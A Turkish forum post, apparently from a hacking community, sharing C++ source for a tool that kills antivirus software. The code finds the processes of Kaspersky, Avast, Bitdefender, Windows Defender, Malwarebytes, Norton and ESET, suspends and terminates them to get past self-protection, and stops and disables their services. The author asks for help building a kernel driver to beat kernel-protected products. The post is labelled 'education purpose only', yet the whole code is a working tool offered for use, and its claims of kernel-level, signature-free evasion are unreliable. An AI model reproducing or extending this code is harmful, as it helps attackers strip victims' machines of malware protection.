En son yapmaya çalıştığım C++ antivirüs bypass'i gelen istekler ve öneriler doğrultusunda son 2 gün üstünde geliştirmeye çalıştım. Kodu kernel'de çalıştırmaya çalışarak yakalanma ihtimalini düşürmeye çalıştım, pointer kullanarak memory leak'i önlemeeye çalıştım ve bu sayede statik analizle yakalanma riskini çok düşük bir seviyeye indirdim. Alınan & verilen verileri dynamic mantığıyla ayırdım ve işlem bittiği gibi silinmesini bu sayede iz kalmamasını istedim. Ardından nt fonksiyonlarını runtime için dynamic mantığında uploadladım loadlibrary ile tabii bu da sonuç olarak SS (static signature) bırakmıyor. NOT: Tek bir sorunum var bilen biri varsa yardımcı olmaktan çekinmesin. Kernel seviyesinde protectleyen AV'ler için kernel driver nasıl yazılabilir ve buna entegre edilebilir? Çünkü kernel seviyede çalışan AV'ler bypasslenemiyor. Yardımcı olursanız sevinirim 
EDUCATION PURPOSE ONLY
Geliştirdiğim kodu önceki konu gibi detaylı anlatamadım kusura bakmayın yorum satırı ancak
KOD'A EKLENMESİ GEREKEN HERHANGİ BİRŞEY GELİŞTİRME, ÖNERİLER,ELEŞTİRİLER HEPSİNE AÇIĞIM HER ZAMANKİ GİBİ BELİRTİRSENİZ SEVİNİRİM ARAŞTIRMAKTAN MEMNUNİYET DUYARIM
EDUCATION PURPOSE ONLY
Geliştirdiğim kodu önceki konu gibi detaylı anlatamadım kusura bakmayın yorum satırı ancak
C++:
#include <iostream> //sandart giris-cikis kutuphanemiz
#include <windows.h> //wndows API fonksiyonlari icin
#include <winternl.h> //nt kernel fonksiyonlari icin
#include <string> //std::string ve std::wstring icin
#include <memory> //std::unique_ptr icin pointer kullanmii icin kisaca iste
// Kernel seviyesinde fonksiyonlar icin typedef'ler
typedef NTSTATUS (NTAPI *pZwSuspendProcess)(HANDLE); //sureci askiya alma fonksiyonu tanimi
typedef NTSTATUS (NTAPI *pZwResumeProcess)(HANDLE); //sureci devam ettirme fonksiyonu tanimi
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG); //sistem bilgisini sorgulamak icin fonksiyon tanimini yaptik
struct SakliVeri { //veriler icin yapi olsturduk
std::wstring* surecAdiPtr; //surec adini isaret eden pointer
std::string* servisAdiPtr; //servis adini isaret eden pointer
std::string* gorunenAdiPtr; //gorunen adi isaret eden pointer'ı verdikl
volatile DWORD surecId; //surec id'sini volatile ile yaptik bu sayede optimizasyon engellenerek yakalanma ihtimali dustu
};
bool YetkiVarMi() { //yonetici yetkisini kontrol eden fonksiyon
volatile BOOL yetki = FALSE; //yetki durumunu tuttuk
std::unique_ptr<HANDLE> jetonPtr(new HANDLE(NULL)); //surec token'ını tutan pointer
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, jetonPtr.get())) { //mevcut surecin tokenını aldik
std::unique_ptr<TOKEN_ELEVATION> yetkiBilgiPtr(new TOKEN_ELEVATION); //yetki bilgisini tutan pointer'ı verdik
DWORD boyut = sizeof(TOKEN_ELEVATION); //yetki yapisinin boyutu burda TOKEN_ELEVATION ile belirledik
if (GetTokenInformation(*jetonPtr, TokenElevation, yetkiBilgiPtr.get(), boyut, &boyut)) { //yetki bilgisini sorguladik
yetki = yetkiBilgiPtr->TokenIsElevated; //yetki durumunu guncelledik
}
}
return yetki; //yetki durumunu doner kullancaz bunu cunki
}
DWORD SurecIdAra(const std::wstring& surecAdi) { //belirtilen surecin ID sine baktik
HMODULE ntdll = LoadLibraryA("ntdll.dll"); //nt kernel kutuphanesini yukler
if (!ntdll) return 0; //yuklenemezse 0 doner
pNtQuerySystemInformation NtQuery = (pNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation"); //sistem bilgisi fonksiyonunu alir kullanim icin
if (!NtQuery) return 0; //alinamazsa 0 don dedik
ULONG tamponBoyut = 0x10000; //baslangic buffer boyutu
std::unique_ptr<BYTE[]> tampon(new BYTE[tamponBoyut]); //dynamic buffer olusturduk
NTSTATUS durum; //önce sorgu durumunu tuttuk
do { //buffer boyutu yeterli olana kadar dongu dedik
durum = NtQuery(SystemProcessInformation, tampon.get(), tamponBoyut, &tamponBoyut); //sistem sureclerini sorguladik bufferi ile
if (durum == STATUS_INFO_LENGTH_MISMATCH) { //boyut yetersizse diye
tamponBoyut *= 2; //buffer boyutunu artirir
tampon.reset(new BYTE[tamponBoyut]); //yeni boyutta tampon(buffer) olusturur
}
} while (durum == STATUS_INFO_LENGTH_MISMATCH); //boyut mismatch olana kadar devam dedik
if (!NT_SUCCESS(durum)) return 0; //sorgu basarisizsa 0 doner
SYSTEM_PROCESS_INFORMATION* surecBilgi = (SYSTEM_PROCESS_INFORMATION*)tampon.get(); //surec bilgisi icin pointer
while (surecBilgi->NextEntryOffset) { //tum surecleri tarar
if (_wcsicmp(surecBilgi->ImageName.Buffer, surecAdi.c_str()) == 0) { //surec adi eslesirse
FreeLibrary(ntdll); //ntdll kutuphanesini serbest birakir
return HandleToULong(surecBilgi->UniqueProcessId); //surec ID sini donderir
}
surecBilgi = (SYSTEM_PROCESS_INFORMATION*)((BYTE*)surecBilgi + surecBilgi->NextEntryOffset); //sonraki surece gecer
}
FreeLibrary(ntdll); //ntdll kutuphanesini serbest birakir
return 0; //surec bulunamazsa 0 doner
}
bool SurecDurdur(DWORD surecId) {
HMODULE ntdll = LoadLibraryA("ntdll.dll"); //nt kernel kutuphanesini yukledik
if (!ntdll) return false; //eger upload islemi olmazsa false don dedik
pZwSuspendProcess ZwSuspend = (pZwSuspendProcess)GetProcAddress(ntdll, "ZwSuspendProcess"); //surec aski fonksiyonunu aldik
pZwResumeProcess ZwResume = (pZwResumeProcess)GetProcAddress(ntdll, "ZwResumeProcess"); //surec devam ettirme olan fonk. aldik burda da
HANDLE* surecTutucu = new HANDLE; //surec tutucusu icin pointer verdik burda
*surecTutucu = OpenProcess(PROCESS_ALL_ACCESS, FALSE, surecId); //sureci tam yetkiyle acmaya calistik
if (*surecTutucu == NULL) { //burda eger acilmazsa dedik
delete surecTutucu; //tutucuyu serbest biraktik
FreeLibrary(ntdll); //ntdllyi serbest biraktik
return false; //false doner herzmn
}
//self defense bypass denemeleri vol1
if (ZwSuspend) ZwSuspend(*surecTutucu); //sureci askiya almaya calisrak self defense atlatmayi deniyom
//memory dynamic manipulation denemeleri vol1
BOOL sonuc = TerminateProcess(*surecTutucu, 0); //sureci sonlandirrdik
if (ZwResume && !sonuc) ZwResume(*surecTutucu); //sonlandirma basarisizsa sureci devam ettirir
CloseHandle(*surecTutucu); //surec tutucusunu kapattik
delete surecTutucu; //tutucuyu serbest biraktik
FreeLibrary(ntdll); //ntdll kutuphanesini serbest birakalaim
return sonuc != 0; //sonuc basariliysa true doner
}
bool ServisDegistir(const std::string& servisAdi) {
std::unique_ptr<SC_HANDLE> servisYoneticiPtr(new SC_HANDLE(OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS))); //servis yoneticisini actirdik
if (!*servisYoneticiPtr) return false; //acilmazsa false donderdik
std::unique_ptr<SC_HANDLE> servisPtr(new SC_HANDLE(OpenServiceA(*servisYoneticiPtr, servisAdi.c_str(), SERVICE_ALL_ACCESS))); // Servisi tam yetkiyle acar
if (!*servisPtr) return false; //acilmazsa yine false donderdik
SERVICE_STATUS_PROCESS durum; //servis durumunu tuttuk llazm olcak
DWORD gereksiz; //gereksiz bayt bilgisi icin DWORD
QueryServiceStatusEx(*servisPtr, SC_STATUS_PROCESS_INFO, (LPBYTE)&durum, sizeof(durum), &gereksiz); //servis durumunu sorguladikk
if (durum.dwCurrentState != SERVICE_STOPPED) { //servis durmadiysa sarti
ControlService(*servisPtr, SERVICE_CONTROL_STOP, (LPSERVICE_STATUS)&durum); //servisi durdurdk
}
ChangeServiceConfigA(*servisPtr, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); //servisi devre disi birakmaya calisiyoruz
return true; //basariliysa true doner
}
void AntivirusEngelle(SakliVeri* veri) { //antivirusu engelleyen fonksiyon
DWORD surecId = SurecIdAra(*veri->surecAdiPtr); //surec ID sini bulduk PID olacak vercez
if (surecId) { //surec varsa kontrolu
std::cout << *veri->gorunenAdiPtr << " tespit edildi PID: " << surecId << "). engelleniyor..." << std::endl; //tespit mesaji
if (SurecDurdur(surecId)) { //surec durursa
std::cout << "surec notralize edildi." << std::endl; //basari mesaji
} else { //basarisizsa
std::cout << "surec notralize edilemedi." << std::endl; //hata mesaji
}
if (ServisDegistir(*veri->servisAdiPtr)) { //servis manipule edilirse
std::cout << "servis manipule edildi." << std::endl; //basari mesaji
} else { //basarisizsa
std::cout << "servis manipule edilemedi." << std::endl; //hata mesaji
}
} else { //surec yoksa kontrolu
std::cout << *veri->gorunenAdiPtr << "tespit edilmedi." << std::endl; //tespit yok mesaji
}
delete veri->surecAdiPtr; //surec adi pointer'ini serbest biraktik
delete veri->servisAdiPtr; //servis adi pointer'ini serbest biraktik
delete veri->gorunenAdiPtr; //gorunen adi pointer'ini serbest biraktik
delete veri; //veri yapisini serbest biraktik
}
int main() {
if (!YetkiVarMi()) { //yetki kontrolu yaptik
std::cout << "yonetici yetkileri gerekli." << std::endl; //error message verdik eğer dönerse diye
return 1; //hata koduyla cikar
}
//veri yapilarinin dinamik verdim burda
AntivirusEngelle(new SakliVeri{ new std::wstring(L"avp.exe"), new std::string("AVP"), new std::string("Kaspersky"), 0 }); //kaspersky icin
AntivirusEngelle(new SakliVeri{ new std::wstring(L"AvastSvc.exe"), new std::string("AvastSvc"), new std::string("Avast"), 0 }); //avast icin
AntivirusEngelle(new SakliVeri{ new std::wstring(L"bdagent.exe"), new std::string("BDESVC"), new std::string("Bitdefender"), 0 }); //bitdefender icin
AntivirusEngelle(new SakliVeri{ new std::wstring(L"MsMpEng.exe"), new std::string("WinDefend"), new std::string("Windows Defender"), 0 }); //windows defender icin
AntivirusEngelle(new SakliVeri{ new std::wstring(L"mbam.exe"), new std::string("MBAMService"), new std::string("Malwarebytes"), 0 }); //malwarebytes icin
AntivirusEngelle(new SakliVeri{ new std::wstring(L"NortonSecurity.exe"), new std::string("NortonSecurity"), new std::string("Norton"), 0 }); //norton icin
AntivirusEngelle(new SakliVeri{ new std::wstring(L"egui.exe"), new std::string("ekrn"), new std::string("ESET"), 0 }); //ESET icin
std::cout << "antivirus engelleme tamamlandi." << std::endl; //tamamlanma mesaji
return 0; //basariyla cikar 0 döner yani
}
KOD'A EKLENMESİ GEREKEN HERHANGİ BİRŞEY GELİŞTİRME, ÖNERİLER,ELEŞTİRİLER HEPSİNE AÇIĞIM HER ZAMANKİ GİBİ BELİRTİRSENİZ SEVİNİRİM ARAŞTIRMAKTAN MEMNUNİYET DUYARIM
Son düzenleme:


